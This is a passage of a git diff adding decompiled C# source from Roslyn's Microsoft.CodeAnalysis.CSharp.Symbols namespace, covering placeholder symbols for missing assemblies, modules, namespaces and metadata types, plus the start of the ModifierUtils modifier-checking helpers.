b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MissingAssemblySymbol.cs @@ -0,0 +1,145 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal class MissingAssemblySymbol : AssemblySymbol +{ + protected readonly AssemblyIdentity identity; + + protected readonly MissingModuleSymbol moduleSymbol; + + private ImmutableArray _lazyModules; + + internal sealed override bool IsMissing => true; + + internal override bool IsLinked => false; + + public override AssemblyIdentity Identity => identity; + + public override Version AssemblyVersionPattern => null; + + internal override ImmutableArray PublicKey => Identity.PublicKey; + + public override ImmutableArray Modules + { + get + { + if (_lazyModules.IsDefault) + { + _lazyModules = ImmutableArray.Create((ModuleSymbol)moduleSymbol); + } + return _lazyModules; + } + } + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public sealed override NamespaceSymbol GlobalNamespace => moduleSymbol.GlobalNamespace; + + public override ICollection TypeNames => SpecializedCollections.EmptyCollection(); + + public override ICollection NamespaceNames => SpecializedCollections.EmptyCollection(); + + public override bool MightContainExtensionMethods => false; + + internal override TypeConversions TypeConversions => base.CorLibrary.TypeConversions; + + internal sealed override ObsoleteAttributeData? ObsoleteAttributeData => null; + + public MissingAssemblySymbol(AssemblyIdentity identity) + { + this.identity = identity; + moduleSymbol = new MissingModuleSymbol(this, 0); + } + + internal override Symbol GetDeclaredSpecialTypeMember(SpecialMember member) + { + return null; + } + + public override int GetHashCode() + { + return ((object)identity).GetHashCode(); + } + + public override bool Equals(Symbol obj, TypeCompareKind compareKind) + { + return Equals(obj as MissingAssemblySymbol); + } + + public bool Equals(MissingAssemblySymbol other) + { + if ((object)other == null) + { + return false; + } + if ((object)this == other) + { + return true; + } + return identity.Equals(other.Identity); + } + + internal override void SetLinkedReferencedAssemblies(ImmutableArray assemblies) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/MissingAssemblySymbol.cs", 122); + } + + internal override ImmutableArray GetLinkedReferencedAssemblies() + { + return ImmutableArray.Empty; + } + + internal override void SetNoPiaResolutionAssemblies(ImmutableArray assemblies) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/MissingAssemblySymbol.cs", 132); + } + + internal override ImmutableArray GetNoPiaResolutionAssemblies() + { + return ImmutableArray.Empty; + } + + internal override NamedTypeSymbol LookupDeclaredOrForwardedTopLevelMetadataType(ref MetadataTypeName emittedName, ConsList? visitedAssemblies) + { + return new MissingMetadataTypeSymbol.TopLevel(moduleSymbol, ref emittedName); + } + + internal override NamedTypeSymbol? LookupDeclaredTopLevelMetadataType(ref MetadataTypeName emittedName) + { + return null; + } + + internal override NamedTypeSymbol GetDeclaredSpecialType(SpecialType type) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/MissingAssemblySymbol.cs", 180); + } + + internal override bool AreInternalsVisibleToThisAssembly(AssemblySymbol other) + { + return false; + } + + internal override IEnumerable> GetInternalsVisibleToPublicKeys(string simpleName) + { + return SpecializedCollections.EmptyEnumerable>(); + } + + internal override IEnumerable GetInternalsVisibleToAssemblyNames() + { + return SpecializedCollections.EmptyEnumerable(); + } + + public override AssemblyMetadata GetMetadata() + { + return null; + } + + internal sealed override IEnumerable GetAllTopLevelForwardedTypes() + { + return SpecializedCollections.EmptyEnumerable(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MissingCorLibrarySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MissingCorLibrarySymbol.cs new file mode 100644 index 0000000..e79b3ec --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MissingCorLibrarySymbol.cs @@ -0,0 +1,57 @@ +using System; +using System.Collections.Immutable; +using System.Reflection; +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class MissingCorLibrarySymbol : MissingAssemblySymbol +{ + internal static readonly MissingCorLibrarySymbol Instance = new MissingCorLibrarySymbol(); + + private NamedTypeSymbol[] _lazySpecialTypes; + + private TypeConversions _lazyTypeConversions; + + internal override TypeConversions TypeConversions + { + get + { + if (_lazyTypeConversions == null) + { + Interlocked.CompareExchange(ref _lazyTypeConversions, new TypeConversions(this), null); + } + return _lazyTypeConversions; + } + } + + private MissingCorLibrarySymbol() + : base(new AssemblyIdentity("", (Version)null, (string)null, default(ImmutableArray), false, false, AssemblyContentType.Default)) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Expected O, but got Unknown + SetCorLibrary(this); + } + + internal override NamedTypeSymbol GetDeclaredSpecialType(SpecialType type) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + if (_lazySpecialTypes == null) + { + Interlocked.CompareExchange(ref _lazySpecialTypes, new NamedTypeSymbol[47], null); + } + if ((object)_lazySpecialTypes[type] == null) + { + MetadataTypeName fullName = MetadataTypeName.FromFullName(SpecialTypes.GetMetadataName(type), true, -1); + NamedTypeSymbol value = new MissingMetadataTypeSymbol.TopLevel(moduleSymbol, ref fullName, type); + Interlocked.CompareExchange(ref _lazySpecialTypes[type], value, null); + } + return _lazySpecialTypes[type]; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MissingMetadataTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MissingMetadataTypeSymbol.cs new file mode 100644 index 0000000..f23cebf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MissingMetadataTypeSymbol.cs @@ -0,0 +1,350 @@ +using System; +using System.Collections.Immutable; +using System.Threading; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class MissingMetadataTypeSymbol : ErrorTypeSymbol +{ + internal sealed class TopLevel : MissingMetadataTypeSymbol + { + private readonly string _namespaceName; + + private readonly ModuleSymbol _containingModule; + + private readonly bool _isNativeInt; + + private DiagnosticInfo? _lazyErrorInfo; + + private NamespaceSymbol? _lazyContainingNamespace; + + private int _lazyTypeId; + + public string NamespaceName => _namespaceName; + + internal override ModuleSymbol ContainingModule => _containingModule; + + public override AssemblySymbol ContainingAssembly => _containingModule.ContainingAssembly; + + public override Symbol ContainingSymbol + { + get + { + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Invalid comparison between Unknown and I4 + if ((object)_lazyContainingNamespace == null) + { + NamespaceSymbol namespaceSymbol = _containingModule.GlobalNamespace; + if (_namespaceName.Length > 0) + { + ImmutableArray immutableArray = MetadataHelpers.SplitQualifiedName(_namespaceName); + int i; + for (i = 0; i < immutableArray.Length; i++) + { + NamespaceSymbol namespaceSymbol2 = null; + ImmutableArray.Enumerator enumerator = namespaceSymbol.GetMembers(immutableArray[i]).GetEnumerator(); + while (enumerator.MoveNext()) + { + NamespaceOrTypeSymbol namespaceOrTypeSymbol = (NamespaceOrTypeSymbol)enumerator.Current; + if ((int)namespaceOrTypeSymbol.Kind == 12) + { + namespaceSymbol2 = (NamespaceSymbol)namespaceOrTypeSymbol; + break; + } + } + if ((object)namespaceSymbol2 == null) + { + break; + } + namespaceSymbol = namespaceSymbol2; + } + for (; i < immutableArray.Length; i++) + { + namespaceSymbol = new MissingNamespaceSymbol(namespaceSymbol, immutableArray[i]); + } + } + Interlocked.CompareExchange(ref _lazyContainingNamespace, namespaceSymbol, null); + } + return _lazyContainingNamespace; + } + } + + private int TypeId + { + get + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Expected I4, but got Unknown + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + if (_lazyTypeId == -1) + { + SpecialType val = (SpecialType)0; + AssemblySymbol containingAssembly = _containingModule.ContainingAssembly; + if ((Arity == 0 || MangleName) && (object)containingAssembly != null && (object)containingAssembly == containingAssembly.CorLibrary && _containingModule.Ordinal == 0) + { + val = SpecialTypes.GetTypeFromMetadataName(MetadataHelpers.BuildQualifiedName(_namespaceName, MetadataName)); + } + Interlocked.CompareExchange(ref _lazyTypeId, (int)val, -1); + } + return _lazyTypeId; + } + } + + public override SpecialType SpecialType + { + get + { + if (TypeId >= 47) + { + return (SpecialType)0; + } + return (SpecialType)(sbyte)_lazyTypeId; + } + } + + internal override DiagnosticInfo ErrorInfo + { + get + { + if (_lazyErrorInfo == null) + { + DiagnosticInfo value = (DiagnosticInfo)(object)((TypeId != 0) ? new CSDiagnosticInfo(ErrorCode.ERR_PredefinedTypeNotFound, MetadataHelpers.BuildQualifiedName(_namespaceName, MetadataName)) : ((CSDiagnosticInfo)(object)base.ErrorInfo)); + Interlocked.CompareExchange(ref _lazyErrorInfo, value, null); + } + return _lazyErrorInfo; + } + } + + internal sealed override bool IsNativeIntegerWrapperType => _isNativeInt; + + internal sealed override NamedTypeSymbol? NativeIntegerUnderlyingType + { + get + { + if (!_isNativeInt) + { + return null; + } + return AsNativeInteger(asNativeInt: false); + } + } + + public TopLevel(ModuleSymbol module, string @namespace, string name, int arity, bool mangleName) + : this(module, @namespace, name, arity, mangleName, isNativeInt: false, null, null, -1, null) + { + } + + public TopLevel(ModuleSymbol module, ref MetadataTypeName fullName, DiagnosticInfo? errorInfo = null) + : this(module, ref fullName, -1, errorInfo) + { + } + + public TopLevel(ModuleSymbol module, ref MetadataTypeName fullName, SpecialType specialType, DiagnosticInfo? errorInfo = null) + : this(module, ref fullName, (int)specialType, errorInfo) + { + }//IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Expected I4, but got Unknown + + + public TopLevel(ModuleSymbol module, ref MetadataTypeName fullName, WellKnownType wellKnownType, DiagnosticInfo? errorInfo = null) + : this(module, ref fullName, (int)wellKnownType, errorInfo) + { + }//IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Expected I4, but got Unknown + + + private TopLevel(ModuleSymbol module, ref MetadataTypeName fullName, int typeId, DiagnosticInfo? errorInfo) + : this(module, ref fullName, ((MetadataTypeName)(ref fullName)).ForcedArity == -1 || ((MetadataTypeName)(ref fullName)).ForcedArity == ((MetadataTypeName)(ref fullName)).InferredArity, errorInfo, typeId) + { + } + + private TopLevel(ModuleSymbol module, ref MetadataTypeName fullName, bool mangleName, DiagnosticInfo? errorInfo, int typeId) + : this(module, ((MetadataTypeName)(ref fullName)).NamespaceName, mangleName ? ((MetadataTypeName)(ref fullName)).UnmangledTypeName : ((MetadataTypeName)(ref fullName)).TypeName, mangleName ? ((MetadataTypeName)(ref fullName)).InferredArity : ((MetadataTypeName)(ref fullName)).ForcedArity, mangleName, isNativeInt: false, errorInfo, null, typeId, null) + { + } + + private TopLevel(ModuleSymbol module, string @namespace, string name, int arity, bool mangleName, bool isNativeInt, DiagnosticInfo? errorInfo, NamespaceSymbol? containingNamespace, int typeId, TupleExtraData? tupleData) + : base(name, arity, mangleName, tupleData) + { + _namespaceName = @namespace; + _containingModule = module; + _isNativeInt = isNativeInt; + _lazyErrorInfo = errorInfo; + _lazyContainingNamespace = containingNamespace; + _lazyTypeId = typeId; + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + return new TopLevel(_containingModule, _namespaceName, name, arity, mangleName, _isNativeInt, _lazyErrorInfo, _lazyContainingNamespace, _lazyTypeId, newData); + } + + public override int GetHashCode() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)SpecialType == 1) + { + return 1; + } + return Hash.Combine(MetadataName, Hash.Combine(_containingModule, Hash.Combine(_namespaceName, arity))); + } + + internal sealed override NamedTypeSymbol AsNativeInteger() + { + return AsNativeInteger(asNativeInt: true); + } + + private TopLevel AsNativeInteger(bool asNativeInt) + { + if (asNativeInt == _isNativeInt) + { + return this; + } + return new TopLevel(_containingModule, _namespaceName, name, arity, mangleName, asNativeInt, _lazyErrorInfo, _lazyContainingNamespace, _lazyTypeId, base.TupleData); + } + + internal override bool Equals(TypeSymbol t2, TypeCompareKind comparison) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Invalid comparison between Unknown and I4 + if ((object)this == t2) + { + return true; + } + if ((comparison & 2) != 0 && (object)t2 != null && (int)t2.TypeKind == 4 && (int)SpecialType == 1) + { + return true; + } + if (!(t2 is TopLevel topLevel)) + { + return false; + } + if ((comparison & 0x20) == 0 && _isNativeInt != topLevel._isNativeInt) + { + return false; + } + if (string.Equals(MetadataName, topLevel.MetadataName, StringComparison.Ordinal) && arity == topLevel.arity && string.Equals(_namespaceName, topLevel.NamespaceName, StringComparison.Ordinal)) + { + return _containingModule.Equals(topLevel._containingModule); + } + return false; + } + } + + internal sealed class Nested : MissingMetadataTypeSymbol + { + private readonly NamedTypeSymbol _containingType; + + public override Symbol ContainingSymbol => _containingType; + + public override SpecialType SpecialType => (SpecialType)0; + + public Nested(NamedTypeSymbol containingType, string name, int arity, bool mangleName) + : base(name, arity, mangleName) + { + _containingType = containingType; + } + + public Nested(NamedTypeSymbol containingType, ref MetadataTypeName emittedName) + : this(containingType, ref emittedName, ((MetadataTypeName)(ref emittedName)).ForcedArity == -1 || ((MetadataTypeName)(ref emittedName)).ForcedArity == ((MetadataTypeName)(ref emittedName)).InferredArity) + { + } + + private Nested(NamedTypeSymbol containingType, ref MetadataTypeName emittedName, bool mangleName) + : this(containingType, mangleName ? ((MetadataTypeName)(ref emittedName)).UnmangledTypeName : ((MetadataTypeName)(ref emittedName)).TypeName, mangleName ? ((MetadataTypeName)(ref emittedName)).InferredArity : ((MetadataTypeName)(ref emittedName)).ForcedArity, mangleName) + { + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/MissingMetadataTypeSymbol.cs", 447); + } + + public override int GetHashCode() + { + return Hash.Combine(_containingType, Hash.Combine(MetadataName, arity)); + } + + internal override bool Equals(TypeSymbol t2, TypeCompareKind comparison) + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == t2) + { + return true; + } + if (t2 is Nested nested && string.Equals(MetadataName, nested.MetadataName, StringComparison.Ordinal) && arity == nested.arity) + { + return _containingType.Equals(nested._containingType, comparison); + } + return false; + } + } + + protected readonly string name; + + protected readonly int arity; + + protected readonly bool mangleName; + + public override string Name => name; + + internal override bool MangleName => mangleName; + + internal sealed override bool IsFileLocal => false; + + internal sealed override FileIdentifier? AssociatedFileIdentifier => null; + + public override int Arity => arity; + + internal override DiagnosticInfo ErrorInfo + { + get + { + AssemblySymbol containingAssembly = ContainingAssembly; + if ((object)containingAssembly != null && containingAssembly.IsMissing) + { + return (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_NoTypeDef, this, containingAssembly.Identity); + } + ModuleSymbol containingModule = ContainingModule; + if ((object)containingModule != null && containingModule.IsMissing) + { + return (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_NoTypeDefFromModule, this, containingModule.Name); + } + if ((object)containingAssembly != null) + { + if (containingAssembly.Dangerous_IsFromSomeCompilation) + { + return (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_MissingTypeInSource, this); + } + return (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_MissingTypeInAssembly, this, containingAssembly.Name); + } + if (ContainingType is ErrorTypeSymbol errorTypeSymbol) + { + DiagnosticInfo errorInfo = errorTypeSymbol.ErrorInfo; + if (errorInfo != null) + { + return errorInfo; + } + } + return (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BogusType, string.Empty); + } + } + + private MissingMetadataTypeSymbol(string name, int arity, bool mangleName, TupleExtraData? tupleData = null) + : base(tupleData) + { + this.name = name; + this.arity = arity; + this.mangleName = mangleName && arity > 0; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MissingModuleSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MissingModuleSymbol.cs new file mode 100644 index 0000000..70578a0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MissingModuleSymbol.cs @@ -0,0 +1,114 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection.PortableExecutable; +using System.Runtime.InteropServices; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal class MissingModuleSymbol : ModuleSymbol +{ + protected readonly AssemblySymbol assembly; + + protected readonly int ordinal; + + protected readonly MissingNamespaceSymbol globalNamespace; + + internal override int Ordinal => ordinal; + + internal override Machine Machine => Machine.I386; + + internal override bool Bit32Required => false; + + internal sealed override bool IsMissing => true; + + public override string Name => ""; + + public override AssemblySymbol ContainingAssembly => assembly; + + public override Symbol ContainingSymbol => assembly; + + public override NamespaceSymbol GlobalNamespace => globalNamespace; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + internal override ICollection NamespaceNames => SpecializedCollections.EmptyCollection(); + + internal override ICollection TypeNames => SpecializedCollections.EmptyCollection(); + + internal override bool HasUnifiedReferences => false; + + internal override bool HasAssemblyCompilationRelaxationsAttribute => false; + + internal override bool HasAssemblyRuntimeCompatibilityAttribute => false; + + internal override CharSet? DefaultMarshallingCharSet => null; + + public sealed override bool AreLocalsZeroed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/MissingModuleSymbol.cs", 197); + } + } + + internal sealed override bool UseUpdatedEscapeRules => false; + + internal sealed override ObsoleteAttributeData? ObsoleteAttributeData => null; + + public MissingModuleSymbol(AssemblySymbol assembly, int ordinal) + { + this.assembly = assembly; + this.ordinal = ordinal; + globalNamespace = new MissingNamespaceSymbol(this); + } + + public override int GetHashCode() + { + return assembly.GetHashCode(); + } + + public override bool Equals(Symbol obj, TypeCompareKind compareKind) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == obj) + { + return true; + } + if (obj is MissingModuleSymbol missingModuleSymbol) + { + return assembly.Equals(missingModuleSymbol.assembly, compareKind); + } + return false; + } + + internal override NamedTypeSymbol? LookupTopLevelMetadataType(ref MetadataTypeName emittedName) + { + return null; + } + + internal override ImmutableArray GetReferencedAssemblies() + { + return ImmutableArray.Empty; + } + + internal override ImmutableArray GetReferencedAssemblySymbols() + { + return ImmutableArray.Empty; + } + + internal override void SetReferences(ModuleReferences moduleReferences, SourceAssemblySymbol originatingSourceAssemblyDebugOnly) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/MissingModuleSymbol.cs", 165); + } + + internal override bool GetUnificationUseSiteDiagnostic(ref DiagnosticInfo result, TypeSymbol dependentType) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/MissingModuleSymbol.cs", 175); + } + + public override ModuleMetadata GetMetadata() + { + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MissingModuleSymbolWithName.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MissingModuleSymbolWithName.cs new file mode 100644 index 0000000..13af069 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MissingModuleSymbolWithName.cs @@ -0,0 +1,36 @@ +using System; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class MissingModuleSymbolWithName : MissingModuleSymbol +{ + private readonly string _name; + + public override string Name => _name; + + public MissingModuleSymbolWithName(AssemblySymbol assembly, string name) + : base(assembly, -1) + { + _name = name; + } + + public override int GetHashCode() + { + return Hash.Combine(assembly.GetHashCode(), StringComparer.OrdinalIgnoreCase.GetHashCode(_name)); + } + + public override bool Equals(Symbol obj, TypeCompareKind compareKind) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == obj) + { + return true; + } + if (obj is MissingModuleSymbolWithName missingModuleSymbolWithName && assembly.Equals(missingModuleSymbolWithName.assembly, compareKind)) + { + return string.Equals(_name, missingModuleSymbolWithName._name, StringComparison.OrdinalIgnoreCase); + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MissingNamespaceSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MissingNamespaceSymbol.cs new file mode 100644 index 0000000..3338817 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MissingNamespaceSymbol.cs @@ -0,0 +1,92 @@ +using System; +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal class MissingNamespaceSymbol : NamespaceSymbol +{ + private readonly string _name; + + private readonly Symbol _containingSymbol; + + public override string Name => _name; + + public override Symbol ContainingSymbol => _containingSymbol; + + public override AssemblySymbol ContainingAssembly => _containingSymbol.ContainingAssembly; + + internal override NamespaceExtent Extent + { + get + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + if ((int)_containingSymbol.Kind == 10) + { + return new NamespaceExtent((ModuleSymbol)_containingSymbol); + } + return ((NamespaceSymbol)_containingSymbol).Extent; + } + } + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public MissingNamespaceSymbol(MissingModuleSymbol containingModule) + { + _containingSymbol = containingModule; + _name = string.Empty; + } + + public MissingNamespaceSymbol(NamespaceSymbol containingNamespace, string name) + { + _containingSymbol = containingNamespace; + _name = name; + } + + public override int GetHashCode() + { + return Hash.Combine(_containingSymbol.GetHashCode(), _name.GetHashCode()); + } + + public override bool Equals(Symbol obj, TypeCompareKind compareKind) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == obj) + { + return true; + } + if (obj is MissingNamespaceSymbol missingNamespaceSymbol && _name.Equals(missingNamespaceSymbol._name)) + { + return _containingSymbol.Equals(missingNamespaceSymbol._containingSymbol, compareKind); + } + return false; + } + + public override ImmutableArray GetTypeMembers() + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetMembers() + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetMembers(ReadOnlyMemory name) + { + return ImmutableArray.Empty; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ModifierUtils.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ModifierUtils.cs new file mode 100644 index 0000000..429fed1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ModifierUtils.cs @@ -0,0 +1,407 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class ModifierUtils +{ + internal static DeclarationModifiers MakeAndCheckNonTypeMemberModifiers(bool isOrdinaryMethod, bool isForInterfaceMember, SyntaxTokenList modifiers, DeclarationModifiers defaultAccess, DeclarationModifiers allowedModifiers, Location errorLocation, BindingDiagnosticBag diagnostics, out bool modifierErrors) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + DeclarationModifiers modifiers2 = modifiers.ToDeclarationModifiers(isForTypeDeclaration: false, (DiagnosticBag)(((object)((BindingDiagnosticBag)diagnostics).DiagnosticBag) ?? ((object)new DiagnosticBag())), isOrdinaryMethod); + modifiers2 = CheckModifiers(isForTypeDeclaration: false, isForInterfaceMember, modifiers2, allowedModifiers, errorLocation, diagnostics, modifiers, out modifierErrors); + SyntaxToken syntax = modifiers.FirstOrDefault(SyntaxKind.ReadOnlyKeyword); + SyntaxNode parent = ((SyntaxToken)(ref syntax)).Parent; + if ((parent is MethodDeclarationSyntax || parent is AccessorDeclarationSyntax || parent is BasePropertyDeclarationSyntax) ? true : false) + { + modifierErrors |= !MessageID.IDS_FeatureReadOnlyMembers.CheckFeatureAvailability(diagnostics, syntax); + } + if ((modifiers2 & DeclarationModifiers.AccessibilityMask) == 0) + { + modifiers2 |= defaultAccess; + } + return modifiers2; + } + + internal static DeclarationModifiers CheckModifiers(bool isForTypeDeclaration, bool isForInterfaceMember, DeclarationModifiers modifiers, DeclarationModifiers allowedModifiers, Location errorLocation, BindingDiagnosticBag diagnostics, SyntaxTokenList? modifierTokens, out bool modifierErrors) + { + modifierErrors = false; + DeclarationModifiers declarationModifiers = DeclarationModifiers.None; + if (!isForTypeDeclaration && (modifiers & allowedModifiers & DeclarationModifiers.Static) != DeclarationModifiers.None) + { + declarationModifiers = ((!isForInterfaceMember) ? (allowedModifiers & (DeclarationModifiers.Abstract | DeclarationModifiers.Virtual | DeclarationModifiers.Override)) : (allowedModifiers & DeclarationModifiers.Override)); + allowedModifiers &= ~declarationModifiers; + } + DeclarationModifiers declarationModifiers2 = modifiers & ~allowedModifiers; + DeclarationModifiers result = modifiers & allowedModifiers; + for (; declarationModifiers2 != DeclarationModifiers.None; modifierErrors = true) + { + DeclarationModifiers declarationModifiers3 = declarationModifiers2 & ~(declarationModifiers2 - 1); + declarationModifiers2 &= ~declarationModifiers3; + switch (declarationModifiers3) + { + case DeclarationModifiers.Partial: + ReportPartialError(errorLocation, diagnostics, modifierTokens); + continue; + case DeclarationModifiers.Abstract: + case DeclarationModifiers.Virtual: + case DeclarationModifiers.Override: + if ((declarationModifiers & declarationModifiers3) != DeclarationModifiers.None) + { + diagnostics.Add(ErrorCode.ERR_StaticNotVirtual, errorLocation, ConvertSingleModifierToSyntaxText(declarationModifiers3)); + continue; + } + break; + } + diagnostics.Add(ErrorCode.ERR_BadMemberFlag, errorLocation, ConvertSingleModifierToSyntaxText(declarationModifiers3)); + } + modifierErrors |= checkFeature(DeclarationModifiers.PrivateProtected, MessageID.IDS_FeaturePrivateProtected) | checkFeature(DeclarationModifiers.Required, MessageID.IDS_FeatureRequiredMembers) | checkFeature(DeclarationModifiers.File, MessageID.IDS_FeatureFileTypes) | checkFeature(DeclarationModifiers.Async, MessageID.IDS_FeatureAsync); + return result; + bool checkFeature(DeclarationModifiers modifier, MessageID featureID) + { + if ((result & modifier) != DeclarationModifiers.None) + { + return !Binder.CheckFeatureAvailability(errorLocation.SourceTree, featureID, diagnostics, errorLocation); + } + return false; + } + } + + internal static void CheckScopedModifierAvailability(CSharpSyntaxNode syntax, SyntaxToken modifier, BindingDiagnosticBag diagnostics) + { + CSDiagnosticInfo featureAvailabilityDiagnosticInfo = MessageID.IDS_FeatureRefFields.GetFeatureAvailabilityDiagnosticInfo((CSharpParseOptions)(object)syntax.SyntaxTree.Options); + if (featureAvailabilityDiagnosticInfo != null) + { + diagnostics.Add((DiagnosticInfo?)(object)featureAvailabilityDiagnosticInfo, ((SyntaxToken)(ref modifier)).GetLocation()); + } + } + + private static void ReportPartialError(Location errorLocation, BindingDiagnosticBag diagnostics, SyntaxTokenList? modifierTokens) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + if (modifierTokens.HasValue) + { + SyntaxToken val = modifierTokens.Value.FirstOrDefault(SyntaxKind.PartialKeyword); + if (val != default(SyntaxToken)) + { + diagnostics.Add(ErrorCode.ERR_PartialMisplaced, ((SyntaxToken)(ref val)).GetLocation()); + return; + } + } + diagnostics.Add(ErrorCode.ERR_PartialMisplaced, errorLocation); + } + + internal static void ReportDefaultInterfaceImplementationModifiers(bool hasBody, DeclarationModifiers modifiers, 